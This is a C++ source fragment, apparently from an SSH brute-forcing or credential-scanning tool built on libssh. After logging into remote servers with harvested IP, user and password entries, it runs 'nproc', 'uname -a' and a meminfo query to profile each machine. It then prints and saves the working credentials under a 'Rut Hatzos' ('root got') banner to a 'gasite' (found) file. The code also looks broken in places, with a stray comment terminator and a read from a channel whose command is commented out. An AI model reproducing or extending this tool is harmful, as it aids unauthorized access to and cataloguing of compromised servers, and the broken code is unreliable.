//---CPU---
	char bufferCPU[1024];
    	unsigned int nbytesCPU;
    	channel = ssh_channel_new(session);
    	if (channel == NULL)
	{
		//cout << VPS[cThread].ip << VPS[cThread].user << VPS[cThread].pass << endl;
		free_channel(channel);
       	 	free_session(session);
		q.push(VPS[cThread].nrThread);
		cout << "segf4\n";
		pthread_exit(NULL);
		return NULL;
	}
	rc = ssh_channel_open_session(channel);
    	if (rc != SSH_OK)
	{
		//cout << VPS[cThread].ip << VPS[cThread].user << VPS[cThread].pass << endl;
		free_channel(channel);
       	 	free_session(session);
		q.push(VPS[cThread].nrThread);
		cout << "segf5\n";
    		return NULL;
	}
	rc = ssh_channel_request_exec(channel, "nproc");
    	if (rc != SSH_OK) error(session);

   	nbytesCPU = ssh_channel_read(channel, bufferCPU, sizeof(bufferCPU), 0);
	free_channel(channel);
	//---------
	//---RAM---
	char bufferRAM[1024];
    	unsigned int nbytesRAM;
	channel = ssh_channel_new(session);
    	if (channel == NULL)
    	{
		//cout << VPS[cThread].ip << VPS[cThread].user << VPS[cThread].pass << endl;
		free_channel(channel);
       	 	free_session(session);
		q.push(VPS[cThread].nrThread);
		cout << "segf6\n";
		return NULL;
	}
    	rc = ssh_channel_open_session(channel);
    	if (rc != SSH_OK)
    	{
		//cout << VPS[cThread].ip << VPS[cThread].user << VPS[cThread].pass << endl;
		free_channel(channel);
       	 	free_session(session);
		q.push(VPS[cThread].nrThread);
    		return NULL;
	}*/
    	//rc = ssh_channel_request_exec(channel, "grep -m 1 'MemTotal' /proc/meminfo | cut -d: -f2 | sed -e 's/^ *//' | sed -e 's/$//'");
    	if (rc != SSH_OK) error(session);
   	nbytesRAM = ssh_channel_read(channel, bufferRAM, sizeof(bufferRAM), 0);
	free_channel(channel);
	//-------
	//---uname -a------
	char bufferUNAME[1024];
    	unsigned int nbytesUNAME;
	channel = ssh_channel_new(session);
    	if (channel == NULL)
    	{
		//cout << VPS[cThread].ip << VPS[cThread].user << VPS[cThread].pass << endl;
		free_channel(channel);
       	 	free_session(session);
		q.push(VPS[cThread].nrThread);
		return NULL;
	}
    	rc = ssh_channel_open_session(channel);
    	if (rc != SSH_OK)
    	{
		//cout << VPS[cThread].ip << VPS[cThread].user << VPS[cThread].pass << endl;
		free_channel(channel);
       	 	free_session(session);
		q.push(VPS[cThread].nrThread);
    		return NULL;
	}
    	rc = ssh_channel_request_exec(channel, "uname -a");
    	if (rc != SSH_OK) error(session);
   	nbytesUNAME = ssh_channel_read(channel, bufferUNAME, sizeof(bufferUNAME), 0);
	free_channel(channel);
	//-----------------
    	free_session(session);
	cout << red << "-->Rut Hatzos: " << VPS[cThread].ip << "@" << VPS[cThread].user << ":" << VPS[cThread].pass << " port:" << VPS[cThread].port << endl;
	cout << "Uname: ";
	fwrite(bufferUNAME, 1, nbytesUNAME, stdout);
	cout << "Number of CPU: ";
	fwrite(bufferCPU, 1, nbytesCPU, stdout);
	cout << "RAM: ";
	fwrite(bufferRAM, 1, nbytesRAM, stdout);
	cout << yellow;
	gasite_fout << "-->Rut Hatzos: " << VPS[cThread].ip << "@" << VPS[cThread].user << ":" << VPS[cThread].pass << " port:" << VPS[cThread].port << " ";
	gasite_fout << bufferUNAME;